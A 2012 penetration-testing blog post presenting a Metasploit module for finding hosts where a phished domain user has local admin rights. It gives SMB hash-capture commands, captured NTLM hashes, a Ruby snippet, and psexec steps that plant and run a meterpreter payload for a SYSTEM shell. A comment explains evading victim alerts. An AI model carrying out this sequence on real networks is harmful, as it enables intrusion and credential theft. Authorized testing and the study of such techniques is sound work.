Find Local Admin with Metasploit - Pentest Geek

Find Local Admin with Metasploit

Author: Brandon McCann Posted In Metasploit On: 2012/11/03 Comments: 14
Find Local Admin with Metasploit

Metasploit Module [1]

When conducting email phishing engagements I often run into situations where I gain a meterpreter session on the internal network, but I don’t have local admin privileges. Often times many penetration testers give up on the assessment because they have already illustrated access to the internal network and consider that adequate on an external engagement. I like to go that extra mile and really make an impact by showing what a malicious user can do once inside.

I feel many penetration testers ignore the fact that a user executed the payload. A user that is most likely part of a domain, and may have access to many additional resources on the internal network that we wouldn’t otherwise have access to.

For example. What if a Network Administrator has configured a couple systems on the domain with the “Domain Users” group part of the “Local Administrators” group. Essentially giving any authenticated user of Active Directory full rights to the system. That’s great news, but how do we find these systems, and how do we access them?

This is why I wrote a metasploit post exploit module with some friends to help find systems on the network that you can gain Administrative rights to. This modules leverages the permissions of the user who executed the meterpreter payload.

It doesn’t require Admin privileges to spray a users hashes onto the network in an attempt to login to a group of remote hosts over smb. Even if you have local Admin privileges, I can see situations where it can be valuable to migrate into a Domain User’s PID and use their permissions in an attempt to bounce to other systems.

Let’s say the network is configured to deny the Local Administrator account from logging in over the network. This will squash your typical pass the hash attack, but would not prevent the ability to pass the domain users hash.

Anytime Windows connects to a remote host over smb it will automatically attempt to login to that system by passing the LM challenge (if configured) and NTLM/v2 challenge. This means that we can authenticate to remote systems on the internal network without ever having knowledge of the users password.

Let’s take a look at an example where we can setup a smb server with metasploit to capture some LM challenge and NTLM challenge hashes.

First you need to setup an smb server using metasploit’s smb capture module.

msf  auxiliary(smb) > ifconfig eth1
[*] exec: ifconfig eth1

eth1      Link encap:Ethernet  HWaddr 00:0c:29:6a:ce:05  
          inet addr:192.168.0.138  Bcast:192.168.0.255  Mask:255.255.255.0
          inet6 addr: 2600:1014:b015:2af:20c:29ff:fe6a:ce05/64 Scope:Global
          inet6 addr: 2600:1014:b00a:1c7b:20c:29ff:fe6a:ce05/64 Scope:Global
          inet6 addr: fe80::20c:29ff:fe6a:ce05/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:42151 errors:0 dropped:0 overruns:0 frame:0
          TX packets:34527 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:12624978 (12.6 MB)  TX bytes:5308879 (5.3 MB)
          Interrupt:19 Base address:0x2000 

msf  auxiliary(smb) > exploit
[*] Auxiliary module execution completed
[*] Server started.
msf  auxiliary(smb) >

Once the smb server is up and listening, lets initiate a remote connection using smb. A simple net use command should suffice. It doesn’t matter if you know the username and password because the credentials should automatically be passed before ever entering credentials.

C:Documents and Settingsknoxville.MATRIX>net use * \192.168.0.138c$
The password or user name is invalid for \192.168.0.138c$.

Enter the user name for '192.168.0.138': knoxville
Enter the password for 192.168.0.138:
System error 1326 has occurred.

Logon failure: unknown user name or bad password.

C:Documents and Settingsknoxville.MATRIX>

Now let’s go back to our metasploit console and see if we have hashes:

msf  auxiliary(smb) > 
[*] SMB Capture - Empty hash captured from 192.168.0.15:1397 - 192.168.0.15 captured, ignoring ... 
[*] SMB Captured - 2012-10-29 20:31:56 -0400
NTLMv1 Response Captured from 192.168.0.15:1397 - 192.168.0.15 
USER:knoxville DOMAIN:MATRIX OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1
LMHASH:daf4ce8f1965961138e76ee328e595e0c0c2d9a83fbe83fb 
NTHASH:211af68207f7c88a1ad6c103a56966d1da1c1e91f02291f0

As you can see we do in fact have network hashes from the ‘knoxville’ user account on the ‘MATRIX’ domain.

The local_admin_search.rb module uses this ‘feature’ of Windows smb to attempt to login to any ip range defined in RHOSTS datastore. The module specifically incorporates railgun and the Windows API OpenSCManagerA to find systems where we have local Admin privileges. The API will attempt to establish a connection to the service control manager to create a handle. If a handle is created, the user has local Admin privileges to the remote host. This is all done without having knowledge of the users password.

		manag = adv.OpenSCManagerA("\\#{host}", nil, 0xF003F) # SC_MANAGER_ALL_ACCESS

		if(manag["return"] != 0) # we have admin rights
			print_good("#{host.ljust(16)} #{user} - Local admin found")
			# close the handle if connection was made
			adv.CloseServiceHandle(manag["return"])

Let’s take a look at the module in action. All we need to set the session id and the RHOSTS that we would like to scan, bump up the threads for some additional speed.

The module also has a feature to enumerate logged in users along with their respected groups they are part on the domain. Just ‘set USER_ENUM true’ and once local admin is found the option will enumerate logged in users and groups.

Once you have identified a system where you have local Admin, you can often times validate this by simply mapping a network drive to hidden c$ share of the remote host.

C:Documents and Settingsknoxville.MATRIXDesktopmsf>net use * \192.168.0.2c$
net use * \192.168.0.2c$
Drive Z: is now connected to \192.168.0.2c$.

The command completed successfully.

C:Documents and Settingsknoxville.MATRIXDesktopmsf>

To gain a meterpreter shell I use psexec.exe that comes in the system internals suite. Upload psexec.exe to the remote host that we have local Admin on using the drive we mapped earlier:

msf  exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > pwd
C:Documents and Settingsknoxville.MATRIXDesktopmsf
meterpreter > upload /pentest/windows-binaries/pstools/psexec.exe 'C:Documents and Settingsknoxville.MATRIXDesktopmsf'
[*] uploading  : /pentest/windows-binaries/pstools/psexec.exe -> C:Documents and Settingsknoxville.MATRIXDesktopmsf
[*] uploaded   : /pentest/windows-binaries/pstools/psexec.exe -> C:Documents and Settingsknoxville.MATRIXDesktopmsfpsexec.exe
meterpreter > cd z:
meterpreter > pwd
Z:
meterpreter > upload /root/msf.exe Z:
[*] uploading  : /root/msf.exe -> Z:
[*] uploaded   : /root/msf.exe -> Z:\msf.exe

Now that we have our malicious payload and psexec.exe in place we remotely execute the meterpreter using psexec -s flag to give us SYSTEM level privileges.

C:Documents and Settingsknoxville.MATRIXDesktopmsf>psexec.exe -s \192.168.0.2 c:msf.exe
psexec.exe -s \192.168.0.2 c:msf.exe

PsExec v1.63 - Execute processes remotely
Copyright (C) 2001-2005 Mark Russinovich
Sysinternals - www.sysinternals.com

[*] Sending stage (752128 bytes) to 192.168.0.2
[*] Meterpreter session 2 opened (192.168.0.138:443 -> 192.168.0.2:1405) at 2012-11-03 17:09:23 -0400

now we have a meterpreter with SYSTEM level privileges using the permission of a logged in user, and never having knowledge of their password.

An overview of the process can be seen in the two screenshots below:

The module is now part of the metasploit framework so you can just run ‘msfupdate’ to get the latest code.

If Anyone has any ideas on how to enhance the functionality please let me know. Happy Hunting!

Share this article

Facebooktwittergoogle_plusredditpinterestlinkedinmailFacebooktwittergoogle_plusredditpinterestlinkedinmail
14 Comments
  • Many Thanks, such good work.

  • A brief note on psexec.exe from Microsoft Sysinternals:
    The later versions (since Sysinternals was consumed by Microsoft) display a pop-up window on the system from which they are run which, in this case, would alert the victim of an intrusion. If you can find (or already have) a significantly older version of psexec (and the other Sysinternals tools) the same behaviour does not occur.

    Overall, I have to agree, it’s all well and good telling your customer that you got in and you *could* elevate privileges, far better to demonstrate that you can.

    • zeknox

      In the new versions I believe you can accept the eula with the command line argument like below:
      psexec.exe \RemoteServername /accepteula ApplicationToExecute.exe

  • Quite impressive, :)
    I like it, hope its implemented.

  • These modules look great!

    The links go to 404 pages, and I can’t find the modules by browsing your github page. Are they up somewhere?

    • zeknox

      Check now, I was updating my github and creating new branches for the modules to properly submit the pull request. Should be working in the links provided at the top of the article now. Thanks!

  • Hey there Twins Fan! You may want to sanitize your captured hashes. Just saying…

  • Nice article!

  • Leave a Reply

    Your email address will not be published. Required fields are marked *

    This site uses Akismet to reduce spam. Learn how your comment data is processed.

    Share This

    Recent Posts

    Subscribe To Our Mailing List

    The Ultimate Burp Suite Training Program

    Learn Network Penetration Testing

    Penetration Testing

    Categories

    Metasploit

    Web Application Hacking


    Brandon McCann

    Copyright 2024

    css.php

    Are You Using the Top 5 Pentest Tools?

    Enter your email address to download your copy of our FREE e-book and find out now!

    Thank you, now go check your email!!